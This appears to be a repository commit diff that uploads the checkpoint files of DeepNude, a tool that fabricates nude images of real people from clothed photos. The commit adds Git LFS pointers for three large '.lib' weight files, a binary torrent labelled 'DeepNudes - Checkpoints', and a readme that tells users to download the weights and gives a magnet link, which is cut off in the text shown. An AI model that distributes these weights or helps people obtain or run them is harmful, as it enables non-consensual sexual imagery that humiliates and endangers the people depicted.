Upload 37 files

.gitattributes

@@ -33,3 +33,6 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
 *.zip filter=lfs diff=lfs merge=lfs -text
 *.zst filter=lfs diff=lfs merge=lfs -text
 *tfevents* filter=lfs diff=lfs merge=lfs -text
+checkpoints/cm.lib filter=lfs diff=lfs merge=lfs -text
+checkpoints/mm.lib filter=lfs diff=lfs merge=lfs -text
+checkpoints/mn.lib filter=lfs diff=lfs merge=lfs -text

checkpoints/checkpoints.torrent

@@ -0,0 +1,73 @@
+d8:announce44:udp://tracker.openbittorrent.com:80/announce13:announce-listll44:udp://tracker.openbittorrent.com:80/announceel42:udp://tracker.opentrackr.org:1337/announceel46:udp://public.popcorn-tracker.org:6969/announceel32:http://104.28.1.30:8080/announceel28:http://104.28.16.69/announceel35:http://107.150.14.110:6969/announceel36:http://109.121.134.121:1337/announceel34:http://114.55.113.60:6969/announceel35:http://125.227.35.196:6969/announceel34:http://128.199.70.66:5944/announceel33:http://157.7.202.64:8080/announceel35:http://158.69.146.212:7777/announceel35:http://173.254.204.71:1096/announceel30:http://178.175.143.27/announceel33:http://178.33.73.26:2710/announceel36:http://182.176.139.129:6969/announceel33:http://185.5.97.139:8089/announceel36:http://188.165.253.109:1337/announceel31:http://194.106.216.222/announceel35:http://195.123.209.37:1337/announceel34:http://210.244.71.25:6969/announceel34:http://210.244.71.26:6969/announceel36:http://213.159.215.198:6970/announceel34:http://213.163.67.56:1337/announceel32:http://37.19.5.139:6969/announceel32:http://37.19.5.155:6881/announceel33:http://46.4.109.148:6969/announceel32:http://5.79.249.77:6969/announceel32:http://5.79.83.193:2710/announceel35:http://51.254.244.161:6969/announceel32:http://59.36.96.77:6969/announceel33:http://74.82.52.209:6969/announceel34:http://80.246.243.18:6969/announceel28:http://81.200.2.231/announceel28:http://85.17.19.180/announceel35:http://87.248.186.252:8080/announceel30:http://87.253.152.137/announceel29:http://91.216.110.47/announceel33:http://91.217.91.21:3218/announceel34:http://91.218.230.81:6969/announceel26:http://93.92.64.5/announceel31:http://atrack.pow7.com/announceel33:http://bt.henbt.com:2710/announceel34:http://bt.pusacg.org:8080/announceel40:http://bt2.careland.com.cn:6969/announceel33:http://explodie.org:6969/announceel34:http://mgtracker.org:2710/announceel34:http://mgtracker.org:6969/announceel40:http://open.acgtracker.com:1096/announceel36:http://open.lolicon.eu:7777/announceel33:http://open.touki.ru/announce.phpel35:http://p4p.arenabg.ch:1337/announceel36:http://p4p.arenabg.com:1337/announceel27:http://pow7.com:80/announceel38:http://retracker.gorcomnet.ru/announceel35:http://retracker.krs-ix.ru/announceel38:http://retracker.krs-ix.ru:80/announceel31:http://secure.pow7.com/announceel27:http://t1.pow7.com/announceel27:http://t2.pow7.com/announceel33:http://thetracker.org:80/announceel36:http://torrent.gresille.org/announceel35:http://torrentsmd.com:8080/announceel43:http://tracker.aletorrenty.pl:2710/announceel40:http://tracker.baravik.org:6970/announceel38:http://tracker.bittor.pw:1337/announceel37:http://tracker.bittorrent.am/announceel41:http://tracker.calculate.ru:6969/announceel37:http://tracker.dler.org:6969/announceel41:http://tracker.dutchtracking.com/announceel44:http://tracker.dutchtracking.com:80/announceel40:http://tracker.dutchtracking.nl/announceel43:http://tracker.dutchtracking.nl:80/announceel46:http://tracker.edoardocolombo.eu:6969/announceel29:http://tracker.ex.ua/announceel32:http://tracker.ex.ua:80/announceel43:http://tracker.filetracker.pl:8089/announceel46:http://tracker.flashtorrents.org:6969/announceel40:http://tracker.grepler.com:6969/announceel49:http://tracker.internetwarriors.net:1337/announceel37:http://tracker.kicks-ass.net/announceel40:http://tracker.kicks-ass.net:80/announceel37:http://tracker.kuroy.me:5944/announceel37:http://tracker.mg64.net:6881/announceel43:http://tracker.opentrackr.org:1337/announceel38:http://tracker.skyts.net:6969/announceel32:http://tracker.tfile.me/announceel41:http://tracker.tiny-vps.com:6969/announceel49:http://tracker.tvunderground.org.ru:3218/announceel41:http://tracker.yoshi210.com:6969/announceel44:http://tracker1.wasabii.com.tw:6969/announceel39:http://tracker2.itzmx.com:6961/announceel44:http://tracker2.wasabii.com.tw:6969/announceel36:http://www.wareztorrent.com/announceel39:http://www.wareztorrent.com:80/announceel29:https://104.28.17.69/announceel37:https://www.wareztorrent.com/announceel34:udp://107.150.14.110:6969/announceel35:udp://109.121.134.121:1337/announceel33:udp://114.55.113.60:6969/announceel33:udp://128.199.70.66:5944/announceel34:udp://151.80.120.114:2710/announceel33:udp://168.235.67.63:6969/announceel32:udp://178.33.73.26:2710/announceel35:udp://182.176.139.129:6969/announceel32:udp://185.5.97.139:8089/announceel34:udp://185.86.149.205:1337/announceel35:udp://188.165.253.109:1337/announceel35:udp://191.101.229.236:1337/announceel33:udp://194.106.216.222:80/announceel34:udp://195.123.209.37:1337/announceel32:udp://195.123.209.40:80/announceel33:udp://208.67.16.113:8000/announceel33:udp://213.163.67.56:1337/announceel31:udp://37.19.5.155:2710/announceel32:udp://46.4.109.148:6969/announceel31:udp://5.79.249.77:6969/announceel31:udp://5.79.83.193:6969/announceel34:udp://51.254.244.161:6969/announceel32:udp://62.138.0.158:6969/announceel32:udp://62.212.85.66:2710/announceel32:udp://74.82.52.209:6969/announceel30:udp://85.17.19.180:80/announceel32:udp://89.234.156.205:80/announceel31:udp://9.rarbg.com:2710/announceel30:udp://9.rarbg.me:2780/announceel30:udp://9.rarbg.to:2730/announceel33:udp://91.218.230.81:6969/announceel32:udp://94.23.183.33:6969/announceel38:udp://bt.xxx-tracker.com:2710/announceel29:udp://eddie4.nl:6969/announceel32:udp://explodie.org:6969/announceel33:udp://mgtracker.org:2710/announceel33:udp://open.stealth.si:80/announceel35:udp://p4p.arenabg.com:1337/announceel39:udp://shadowshq.eddie4.nl:6969/announceel36:udp://shadowshq.yi.org:6969/announceel38:udp://torrent.gresille.org:80/announceel42:udp://tracker.aletorrenty.pl:2710/announceel37:udp://tracker.bittor.pw:1337/announceel43:udp://tracker.coppersurfer.tk:6969/announceel37:udp://tracker.eddie4.nl:6969/announceel31:udp://tracker.ex.ua:80/announceel42:udp://tracker.filetracker.pl:8089/announceel45:udp://tracker.flashtorrents.org:6969/announceel39:udp://tracker.grepler.com:6969/announceel35:udp://tracker.ilibr.org:80/announceel48:udp://tracker.internetwarriors.net:1337/announceel39:udp://tracker.kicks-ass.net:80/announceel36:udp://tracker.kuroy.me:5944/announceel49:udp://tracker.leechers-paradise.org:6969/announceel36:udp://tracker.mg64.net:2710/announceel36:udp://tracker.mg64.net:6969/announceel42:udp://tracker.opentrackr.org:1337/announceel44:udp://tracker.piratepublic.com:1337/announceel41:udp://tracker.sktorrent.net:6969/announceel37:udp://tracker.skyts.net:6969/announceel40:udp://tracker.tiny-vps.com:6969/announceel40:udp://tracker.yoshi210.com:6969/announceel44:udp://tracker2.indowebster.com:6969/announceel40:udp://tracker4.piratux.com:6969/announceel30:udp://zer0day.ch:1337/announceel30:udp://zer0day.to:1337/announceel46:udp://public.popcorn-tracker.org:6969/announceel32:http://104.28.1.30:8080/announceel28:http://104.28.16.69/announceel35:http://107.150.14.110:6969/announceel36:http://109.121.134.121:1337/announceel34:http://114.55.113.60:6969/announceel35:http://125.227.35.196:6969/announceel34:http://128.199.70.66:5944/announceel33:http://157.7.202.64:8080/announceel35:http://158.69.146.212:7777/announceel35:http://173.254.204.71:1096/announceel30:http://178.175.143.27/announceel33:http://178.33.73.26:2710/announceel36:http://182.176.139.129:6969/announceel33:http://185.5.97.139:8089/announceel36:http://188.165.253.109:1337/announceel31:http://194.106.216.222/announceel35:http://195.123.209.37:1337/announceel34:http://210.244.71.25:6969/announceel34:http://210.244.71.26:6969/announceel36:http://213.159.215.198:6970/announceel34:http://213.163.67.56:1337/announceel32:http://37.19.5.139:6969/announceel32:http://37.19.5.155:6881/announceel33:http://46.4.109.148:6969/announceel32:http://5.79.249.77:6969/announceel32:http://5.79.83.193:2710/announceel35:http://51.254.244.161:6969/announceel32:http://59.36.96.77:6969/announceel33:http://74.82.52.209:6969/announceel34:http://80.246.243.18:6969/announceel28:http://81.200.2.231/announceel28:http://85.17.19.180/announceel35:http://87.248.186.252:8080/announceel30:http://87.253.152.137/announceel29:http://91.216.110.47/announceel33:http://91.217.91.21:3218/announceel34:http://91.218.230.81:6969/announceel26:http://93.92.64.5/announceel31:http://atrack.pow7.com/announceel33:http://bt.henbt.com:2710/announceel34:http://bt.pusacg.org:8080/announceel40:http://bt2.careland.com.cn:6969/announceel33:http://explodie.org:6969/announceel34:http://mgtracker.org:2710/announceel34:http://mgtracker.org:6969/announceel40:http://open.acgtracker.com:1096/announceel36:http://open.lolicon.eu:7777/announceel33:http://open.touki.ru/announce.phpel35:http://p4p.arenabg.ch:1337/announceel36:http://p4p.arenabg.com:1337/announceel27:http://pow7.com:80/announceel38:http://retracker.gorcomnet.ru/announceel35:http://retracker.krs-ix.ru/announceel38:http://retracker.krs-ix.ru:80/announceel31:http://secure.pow7.com/announceel27:http://t1.pow7.com/announceel27:http://t2.pow7.com/announceel33:http://thetracker.org:80/announceel36:http://torrent.gresille.org/announceel35:http://torrentsmd.com:8080/announceel43:http://tracker.aletorrenty.pl:2710/announceel40:http://tracker.baravik.org:6970/announceel38:http://tracker.bittor.pw:1337/announceel37:http://tracker.bittorrent.am/announceel41:http://tracker.calculate.ru:6969/announceel37:http://tracker.dler.org:6969/announceel41:http://tracker.dutchtracking.com/announceel44:http://tracker.dutchtracking.com:80/announceel40:http://tracker.dutchtracking.nl/announceel43:http://tracker.dutchtracking.nl:80/announceel46:http://tracker.edoardocolombo.eu:6969/announceel29:http://tracker.ex.ua/announceel32:http://tracker.ex.ua:80/announceel43:http://tracker.filetracker.pl:8089/announceel46:http://tracker.flashtorrents.org:6969/announceel40:http://tracker.grepler.com:6969/announceel49:http://tracker.internetwarriors.net:1337/announceel37:http://tracker.kicks-ass.net/announceel40:http://tracker.kicks-ass.net:80/announceel37:http://tracker.kuroy.me:5944/announceel37:http://tracker.mg64.net:6881/announceel43:http://tracker.opentrackr.org:1337/announceel38:http://tracker.skyts.net:6969/announceel32:http://tracker.tfile.me/announceel41:http://tracker.tiny-vps.com:6969/announceel49:http://tracker.tvunderground.org.ru:3218/announceel41:http://tracker.yoshi210.com:6969/announceel44:http://tracker1.wasabii.com.tw:6969/announceel39:http://tracker2.itzmx.com:6961/announceel44:http://tracker2.wasabii.com.tw:6969/announceel36:http://www.wareztorrent.com/announceel39:http://www.wareztorrent.com:80/announceel29:https://104.28.17.69/announceel37:https://www.wareztorrent.com/announceel34:udp://107.150.14.110:6969/announceel35:udp://109.121.134.121:1337/announceel33:udp://114.55.113.60:6969/announceel33:udp://128.199.70.66:5944/announceel34:udp://151.80.120.114:2710/announceel33:udp://168.235.67.63:6969/announceel32:udp://178.33.73.26:2710/announceel35:udp://182.176.139.129:6969/announceel32:udp://185.5.97.139:8089/announceel34:udp://185.86.149.205:1337/announceel35:udp://188.165.253.109:1337/announceel35:udp://191.101.229.236:1337/announceel33:udp://194.106.216.222:80/announceel34:udp://195.123.209.37:1337/announceel32:udp://195.123.209.40:80/announceel33:udp://208.67.16.113:8000/announceel33:udp://213.163.67.56:1337/announceel31:udp://37.19.5.155:2710/announceel32:udp://46.4.109.148:6969/announceel31:udp://5.79.249.77:6969/announceel31:udp://5.79.83.193:6969/announceel34:udp://51.254.244.161:6969/announceel32:udp://62.138.0.158:6969/announceel32:udp://62.212.85.66:2710/announceel32:udp://74.82.52.209:6969/announceel30:udp://85.17.19.180:80/announceel32:udp://89.234.156.205:80/announceel31:udp://9.rarbg.com:2710/announceel30:udp://9.rarbg.me:2780/announceel30:udp://9.rarbg.to:2730/announceel33:udp://91.218.230.81:6969/announceel32:udp://94.23.183.33:6969/announceel38:udp://bt.xxx-tracker.com:2710/announceel29:udp://eddie4.nl:6969/announceel32:udp://explodie.org:6969/announceel33:udp://mgtracker.org:2710/announceel33:udp://open.stealth.si:80/announceel35:udp://p4p.arenabg.com:1337/announceel39:udp://shadowshq.eddie4.nl:6969/announceel36:udp://shadowshq.yi.org:6969/announceel38:udp://torrent.gresille.org:80/announceel42:udp://tracker.aletorrenty.pl:2710/announceel37:udp://tracker.bittor.pw:1337/announceel43:udp://tracker.coppersurfer.tk:6969/announceel37:udp://tracker.eddie4.nl:6969/announceel31:udp://tracker.ex.ua:80/announceel42:udp://tracker.filetracker.pl:8089/announceel45:udp://tracker.flashtorrents.org:6969/announceel39:udp://tracker.grepler.com:6969/announceel35:udp://tracker.ilibr.org:80/announceel48:udp://tracker.internetwarriors.net:1337/announceel39:udp://tracker.kicks-ass.net:80/announceel36:udp://tracker.kuroy.me:5944/announceel49:udp://tracker.leechers-paradise.org:6969/announceel36:udp://tracker.mg64.net:2710/announceel36:udp://tracker.mg64.net:6969/announceel42:udp://tracker.opentrackr.org:1337/announceel44:udp://tracker.piratepublic.com:1337/announceel41:udp://tracker.sktorrent.net:6969/announceel37:udp://tracker.skyts.net:6969/announceel40:udp://tracker.tiny-vps.com:6969/announceel40:udp://tracker.yoshi210.com:6969/announceel44:udp://tracker2.indowebster.com:6969/announceel40:udp://tracker4.piratux.com:6969/announceel30:udp://zer0day.ch:1337/announceel30:udp://zer0day.to:1337/announceee7:comment23:DeepNudes - Checkpoints10:created by14:uTorrent/3.5.513:creation datei1562877997e8:encoding5:UTF-84:infod6:lengthi2032578765e4:name15:checkpoints.zip12:piece lengthi2097152e6:pieces19400:-x�Rc��I�:?
+=�]�V�
+k�5E"� �������
;"DZ["�������6,���P��&�����OLR�^��k��5JN�Ų�JR�NR��I'K��3��'��r��N#Pt"�R�����pq�v�B戞��X�+R�%�����G��\(�����{�����9�N�f;���iK�	n�{:��B��=�r�sE�o�����{ ���q*j�M���̯\8,l?����c|�,-p�"M��aR��#��7���G�g+c_M�^aۜ�?��c��#i3������*��(`����|�݉�����P���Ã��&�)��"�$�Iw��\�V����}51`BgF�t���K�Aߋ����v:�U��sEm�3P��8O|���Z�=.~�N
+����|��F�j�i�����8�g�ANEv޾}���_�V�LԱ�����~�/G�L
+��y�L'^��E��=��/�"H.�
+x���
+�~�.j�G�ٜ�o}�v������Р�������DY��8���Ěhi~��i2ۓ��p����^� �=�[N:eDL�VS�җ��F�
+5�h���o�?�	��4��z(ƫ�t��PP��7�5\Pk5���/{[��hP<�S!�����S�!x�oH��h��~9��E�-�$�w�|l���/�F�l������A�k�=nʏ!�b�"�2�
��5�x����z�0/ϲ{��1U��~y(ekǭ�:��������]
��i�:����)G�PQ�V
Ἅ!��`��)qR�s��R�	R	�ePE�\�� �{S`õgu�?�p	^Dd�'��{�����(�����%��Xu���c)*Jb�"W�e�a8s).�N��yU��*�vǰ6jdb\��ֽK�ml����Xs/�IY�Ƶ`����evƐ��R�
�*���=k���
�8[M@n�t���i��
f
+%��Wپl���v(� 5Rd���]��ꄗ�.��n�8�F�S�����>�z�ɱ�#�'5�K[�D��������d��{d�(Gy�7]S�
+'�3wZ��
+�&I�����ӗ�8e�[�]
+˴c%O��g�$��k�]"�M�jvVq��5�S�itEUf7S�b��#��X>��-!Ôj���p�c�y-�3�q^4��7Η�c�Q��(
+�J0e�Ԑ�7-�J)ϋ2m��˗}I鵰0�+���i��
+&�W�:0%��s��FL�_�m�]N�����]K�$R'�W�G������D���ߌ\ J"4q�9�����|Nr-�]��������Ӫ�ɸ{2�
+�3�{B�^d�~�6�PЁ�1����J��a8�"I�U�cC]�F��di>������AB�V%Ʈ�f.+�0�z�yA3'�fǰ�����F
�O��n^����~.����؏P9=B��:g�r�_}V�IՀG�M�gGI��r�Ƈ4igs��̓�(���O��Y{c��l�R�K���/�(�Юp�����	Kz�G��q`�/�XqB��+�����d�C{]Y�k��B���A�+�19RC_����ȇב]_^K��>^#J��4�'��=����G�Ɏ'��ŏ+j�J�щstF��6a\�p���}��;#_��z����E
+�6���Q�����؂a;�}�>�nV�I�ŔFD�g�Km����g!!��9���Zy;@匓l����?6,��T������Sa�W�*�3q
+
+����0Y��6&����ϵC����'���y߇vALq$�
p��XW�ys�D�T�3��M��L�ե��^���V�M��^qd}v|e�|��1;���t��d�]��yxO�)�����<�-\�ѮQd���Wč.,!�b]Y�/��~j����邿�%�S^�w7��P���]RS��,��=�;c���t�)�,��w
+H6��]n����֬���mS�*�KP����gϬq�Ο��=W��\O�k
+%��w���%�ޘ�+"�]N��cI������=�p@=$���l�
�T��Ѯ�n��>Ӌ�|�(�S�<#N��$9:�{M����3$��O?�t�B���t
+5M�Y�W��4�@
+�"Wˁ�5nX�I���D�H�`�\����P���?=���Rz��c����%9�A�"@8���S��"��a/Cma���W,��qQ8�a��A�#����,�%L���Gܻ4�0ڷ�9������a{�:���
@4�#���U�V��mS���~
+��ҬҮ�A9���S'�n+���w��{��[i���#N^�.� �L��#��imk�'��}�m���0l���1ݿ��}˼�L+qi��r;�C�u��J�S������BnS�C���ϋ���£5�O����J���G�s�x�F����C���2W��`��1�8�*s ե�%g�
+Pͳ���Ҧ��8R˙^�-�U/A�Q��}�lT���.X�Z39�w�H�rp��|��
+���>Zem��P`��y�F����W�џ�a��Xw�jzۓ���P�|�NL�#L����E�Q��-�&��Q�Hh��*Tl����0m+��9��P��v??���
� �^���'��9�V`��RL��c`8"~t��hzqBQ�\���ݸ�~���5X�o˱���L�;�����O9�p��8��-�CmC�Ǯ��uy�K8`"�e)(m�t��怜�^N�JG'����r�J^YY ^B�M9�q��bY~ms�-yu���P��X�(�!�sl�1b�(3��ȴ[դ���O�½z%�ת���'I\v�.x:�*
+���]H"b����K*����A�ʍ�F,�f�~��x�]q�D�wh|08hST�ց{�f ��+
+X�����C��|���'�	�5���F�N�yw݉'Q$?�Ǎ�n?�FQ/KZ��x��������[���OSc	�9J�g.D����hq��]�� *���
+��Y�fui��$A�6jS��ol{�@�
+O�������C�m�@
+�X����c�
�G��]d��$]����{�|\65�xٰH1�Y)�XCmŲ`z��*(���C���59��.¾�{���\�q���ץ��y�����g�l�����K1�`���rħ94�L�y�9������Q���
+[~e�g�cy����s�޸����ic���ś/�q��̣�Ť&�|h�h0�(M�6y5�3(�iM\�HWA��5��ƹA�L��G\�����F@�
+�5Y�
ө�b������#������[e���x��XD�^����� Z���,�c�,��ױ�,vr|̯�=Iz����D$E+2a�y#���:�,�q��4��	�S�T[���	^�%Ί};�ܲC���q>L���7SҸ.����&�ߟ]T9/x���SE�\=�K�w?��+
+���F��d�n$�[V�A�N�D"f�%�~��v\�q�
+v"�p25q�`XI��w�Te������B�R$�m2DפY�]��3pF��ƀ76~�\΂'�ٝYJ���dCG5�����{b��T��{?֒g2�u,�q�c�[���b�Ih��n[�)� �S�{����͌"vɳb~l��U��k��Z������և�8ЃnbR�%l$��_�ZR�=��%���"�����ї9`���2�xWKaX���]��&�+��$<�q�XJrЧ�=6�]�}OQ�i�~J�x�P��s�X�_A��Ot-�hl�8�^n�Pَr��)�F�Y���.=�-(���ЀƜMjv�Q�i��y�N�$=碁��k^��J�oW�h��O������z��T�`�)���D<��[���E���}� ,�0Ϭo�9_��!A���;�7_�okOd���\K�c#[�|�[�����()?(�:�X�Nq<���m��F��8Jl�!�n�eC�P�b���$Wx�g�T�x�.�g�e�jL��W��OM
+a�'JGu��`re��%!�x�
0��E�`����s1�5�
+b�9zl����ul�w<S�Dmq
+P���Xw��LAr*��f���u�/,���v"D��a@�\�ȋ�'�C4�@���[�3V�n��|���
+(/Of��Q{TdO-����	��\��㩀��ҙ���MQw�M��`���RR
+�Ma�a��)�_zO�m�X?�={Zub�#oyD�4t���s>D_Ű�D��ǚ>{k٘gŲ9 ��_�S�
+�aH ���l��d�=!��Nڐ�᦬B?��+>��m��5���1�AL�
���������J?M3�b��\�\¤T?I�4;�
+��K;П�W��s���]�v�„�۽0h_�"Z��2���޻62L7'��9�c�5=�k�UNi��%����y������9ʧE�v���f�������+'�DR�xp��
pKR7
+׏(�C�UR+�3n[����Dg�W�
�W.8�0���ޗ��M{7��u�%@�}��<�<���ۡδ0��b�f�n�(X�����0�?��^6wѯ�G�Gv,Y��������*�������*+�����|�9��M��f5ϲ���c��B��'�G�����;���Z�h�^pL;���)��
X�������*��b�U���VN������>�R�R������,F».JP)��
i��\� ���&G�\e��xK���v�hG�!�}'���%��t��@�)hX�zyμ2�V;�5���W�B�7�\����D�:7f�뜞`lASaTj�yt��𺇵�7����KI'B��\u+��uk��(�7�n���OeP�ASP�Q��u޻��+&���`Y���r����Iۘ�\ӏ:��aa�\|�Tm��mO��:�/�WCo�Z@¾i�t���wo�cc���#��y�����v� ��O|>����x�~p�������=�	'g\d:���	�O�?�,�l���'i���^��a{@���-Z���5�;�ԯ��:�Bc��J;a���������u�/�%{p�0JU��l�Σ�9��"���z�LH��d�����#�T���3�&��"�3 ���+���<�����䗒E"�X���L>���[/�n*�_�������>��>b��w���ݬ�SJ�]m���ˬn<���F�_��`�<\'wvJh�J�VoЖ3y����3y[v"�-��֎�cC^���2Z�5�Lz��I�8�_2���S��QƃB��w	�ua���/����k��f�u��}�
+��?W�_K>t���_����#��5��|�����qy̡7h�G���h=I䊋�>���j�V%�F���+�2�Q� �
+4ch�
+�fq�2!,�� �7.���j����]#��.~t�k

+Q�N��O�]�!�WK�!D�4p�a�#�=8��@Vn���-�u���1�eeR�t�VSn]���ĭ�v]*>�r�@��DO�V�6 ��c�k($RP�Z�3Jj'ga���{
+}��iC�_�S�m���J�*�U��6��tC�l߶~-����,ʮ�4{�ҕ(i'�NY���y!�O��Y�s�r2��������N��M�Vq'':Ln��<����^����v6D�1w!"�kJb�7���ņ�tyc�K�K�eV���y����.����u๡����La�j4�8��&�:{��*oC��:�H��>_G�sM��{���1��'�W�:��D�z��������]�������*5�S���ّJ~�p�4YnH��6؂y�4��"�Ӗ�����^-϶	h�u�A�ِ*3[�$^�]N
+�bUd��9�)ͱ^�D�
^)X���d�D�'Q�����"�*ٿi�P�4��Ϗ>��~=d3��T����m�(=ز��π6*H�S����,�]�K�uw1�\���V�@��Ǿ������@Y�ts����ƛx���ޥ��8�V�^�k!�U� ���
+�Ӱg�1*lK��<�{]0
�ZhƐ��_�*��.ل�ؙ��J�����*������|��Xs�1��2Nې_:A�����.7r�Z
9�zc�����	��1��=�MK{�r�
-��OW��1Y��@�>ĭ�G�||꾟\������(,r���k:J��c��=���X�'����i��pF����І�jWcIZn�3B��41�F�(4�m���SrD�S_��m�GM�-
+g���W
ѨD��2H���&��$�g��<�_CU���s�+6�F�6�A�+��ۛ��M>��?ec�i��$�:t
�<��i���5����V�F��R���f�.Cc�[c�ܑ�����r���t�
+"�@�����
�"���D����Dy+2��Ks
���s�EiA��s.���~Uy�-"O�f�$�z@��H/q@Xl��r�>h���C��
+�|bX�8I*WP�8��-P�o^���q=�I��Q=��lYo}��Ɓ�Q���V3�TGW�&K��\��X���>
+����^氄�B�4]s�nӏ��]`J��
+��4hם��(�/�e�-������OU�aގe'��I���y_|�\�Q%ta�e̐V����
+�=��D�nwBe=�&ro��q�	pIGf(@'A(��5i���!�k�N֑�F�b�	��(z�R������P�]�tƆ������
+2aIW�����\�i�KrS�,g{P�~��4�K
D��$�!���v�X^yh�O��1����47�<�
+e�1�Pm�F��apԦW�!ls#4������+@=Ɠ����>�^�帤I�D�8
+�u%
ڕba�>w{���/��5o�+�YY�����*���}�&��{C~�R�G��A�r�HvPW�x�%��_a�{�E�����PU�Ձ���|�����,��PU:��E�O�(o�w�cU��q�Û�85Q6X��'���ƂH���o��z��5Ɣ���+�'�k͒r�
+)��c7��z�Z`����B�ņь@���]&���hu�+i�u����kR��@�I��Q��XC?S�w��p������S�<9TU�	�㰣�΀�d��^�9����y��/h
sM�@�2Eyk`�֣�������o���=�aۋa��3�ǧ!؆�.$���>���%���=[�E������Mo��q׌�K`>�\9��9�O�ыh�|��D�1�
�Մ�ܱ��/��|]�oU1�dZ^g�����q�t�4Uß��8���%�aT�r�qH3�"��t���f^����Œ�`6�����kd�
u\DGiW�@ęY!}]D��� Q���"p��n�eu��{�G/�Y+{��$��
+$�$���M����e�ϟ���>#���Ub"�T�E��"��:J���	����̲�6�qFB�8z��\��^v��������9�� D�)U��ќV�!��f=�.4"Q��|�8ozyD7�S�M̪ؖV1a���Q^:Qn�}~R�8����L��-jc�������X��|;��S��E`:��wY��ta���5�{hA�L*�4OȽ�Lc:�l@ο|����B�U�K�kah�[��ߥ��k���R��kk�'MBq]��Nk-�_Hщ��@]�x$t��a�i>���u�_����
+vI6v*��5įC�M�w7������ O[^�,�dVxz�Z.X���}����z-�%+-_�ȉ^M�k���a���Z7S��
+�Q�����*�#�T�va��	�X
+�;-��
+� �Ŋc��`s",X�	iV�O;X_4C���C�U���Ɛ.�����0�.��u?5�AUH����ㅇ�
+�^ܽ� �D.��f[��Myъ��qӄ��fڍ����-�W���~`�+A:�?��j��}��ͽ���S�x���n�W3�^�w�RQ�$W��#D�e��Q������T~9��u����'N���q�xC��q{pR�����U	\�N��eѕ׈�E#`==����	`a��1�O7@B��|���p1�#�iݏ��@���R���*��
{i:j�)K�����k�G��Gs�b%��B��lv7u
+Ǖ���3�T�vn�Dž����������
R�/�,~�.����l�^B�F
+_�Ih����NĂ�ɢ�1��$Y�[�[�z몀�JPݻŸ%U����
+۾��p����8����ힸ�N�UK)!SWiO��tOfL�_-���?A���ЬS9"�r7U�@�p^�r���'���mX���+�O� m��
+�%]� x�O7{Th��Y����������X~f����Z�|X��	я�"�q���S"��~!�_���`!�k�TQ���$@M�w�eVs�>�ǜGe�c�V
+�,��VPܜ”�+�r|"Z�ԧq��fd�G���0pz�i�
+4sO*�t1�*`�}Ѻ��(.���^t�ߙJOt�,6�ׅ�0"q<�X���>�jHƣ]%F�Bc�)Es�l{��Dd����C2�bǿN�8�����gg'D����ܔ<CRi�F^�$��Y�^�����nCz��DYh��7X��3�}�G�YpE��(	7y*�\w��ɑ�ctk�?���	��a��r���1@W��_7��D
oW�6
+_T�@��2�~�Y�hdv�m`Ի!֔�@}ќ�)1��W�$��M;�y��Z����zʲ�WWX*H�M��
+L��uU�]A�6g��]Q�:���K����{�O�fG�/�RW���N%�B��:#��{doM�.p�&�YNA*"�"� �۟�ҐلH�����d6���'yϚw���!�Idy��$4�8�2�^8
+�IO�eEot*����Ҷ��n�D�Ǣ��=�v�7�(6n����י��|����X�q�}��s�Gmn�/}���~�Y8fbee

checkpoints/cm.lib

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:6fa7ac307a818e99671a9cfa053d23301fe59c38c6337cb994a4b1bce4321856
+size 729785444

checkpoints/mm.lib

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:e38d34f7b3d500352592f7fbe0b361e6d8b2b87ab2dfcbaab62326effc79174a
+size 729785444

checkpoints/mn.lib

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:5f3610f4c641187e7e0ef868859fbe9aaa8aa0ef17b37bea6a3b92562af95df0
+size 729785444

checkpoints/readme.md

@@ -0,0 +1,12 @@
+# Download DeepNude Checkpoint files, and copy here
+
+## Files to extract from "checkpoints.zip":
+
+- cm.lib - (Size: 712,68 MB)
+- mm.lib - (Size: 712,68 MB)
+- mn.lib - (Size: 712,68 MB)
+
+## Magnet Link (File Name: checkpoints.zip, Size: 1.89 GB)
+```
+magnet:?xt=urn:btih:4D6CEEE469CA1C835F037E517933149ECEF33511&dn=checkpoints.zip&tr=udp%3a%2f%2ftracker.openbittorrent.com%3a80%2fannounce&tr=udp%3a%2f%2ftracker.opentrackr.org%3a1337%2fannounce&tr=udp%3a%2f%2fpublic.popcorn-tracker.org%3a6969%2fannounce&tr=http%3a%2f%2f104.28.1.30%3a8080%2fannounce&tr=http%3a%2f%2f104.28.16.69%2fannounce&tr=http%3a%2f%2f107.150.14.110%3a6969%2fannounce&tr=http%3a%2f%2f109.121.134.121%3a1337%2fannounce&tr=http%3a%2f%2f114.55.113.60%3a6969%2fannounce&tr=http%3a%2f%2f125.227.35.196%3a6969%2fannounce&tr=http%3a%2f%2f128.199.70.66%3a5944%2fannounce&tr=http%3a%2f%2f157.7.202.64%3a8080%2fannounce&tr=http%3a%2f%2f158.69.146.212%3a7777%2fannounce&tr=http%3a%2f%2f173.254.204.71%3a1096%2fannounce&tr=http%3a%2f%2f178.175.143.27%2fannounce&tr=http%3a%2f%2f178.33.73.26%3a2710%2fannounce&tr=http%3a%2f%2f182.176.139.129%3a6969%2fannounce&tr=http%3a%2f%2f185.5.97.139%3a8089%2fannounce&tr=http%3a%2f%2f188.165.253.109%3a1337%2fannounce&tr=http%3a%2f%2f194.106.216.222%2fannounce&tr=http%3a%2f%2f195.123.209.37%3a1337%2fannounce&tr=http%3a%2f%2f210.244.71.25%3a6969%2fannounce&tr=http%3a%2f%2f210.244.71.26%3a6969%2fannounce&tr=http%3a%2f%2f213.159.215.198%3a6970%2fannounce&tr=http%3a%2f%2f213.163.67.56%3a1337%2fannounce&tr=http%3a%2f%2f37.19.5.139%3a6969%2fannounce&tr=http%3a%2f%2f37.19.5.155%3a6881%2fannounce&tr=http%3a%2f%2f46.4.109.148%3a6969%2fannounce&tr=http%3a%2f%2f5.79.249.77%3a6969%2fannounce&tr=http%3a%2f%2f5.79.83.193%3a2710%2fannounce&tr=http%3a%2f%2f51.254.244.161%3a6969%2fannounce&tr=http%3a%2f%2f59.36.96.77%3a6969%2fannounce&tr=http%3a%2f%2f74.82.52.209%3a6969%2fannounce&tr=http%3a%2f%2f80.246.243.18%3a6969%2fannounce&tr=http%3a%2f%2f81.200.2.231%2fannounce&tr=http%3a%2f%2f85.17.19.180%2fannounce&tr=http%3a%2f%2f87.248.186.252%3a8080%2fannounce&tr=http%3a%2f%2f87.253.152.137%2fannounce&tr=http%3a%2f%2f91.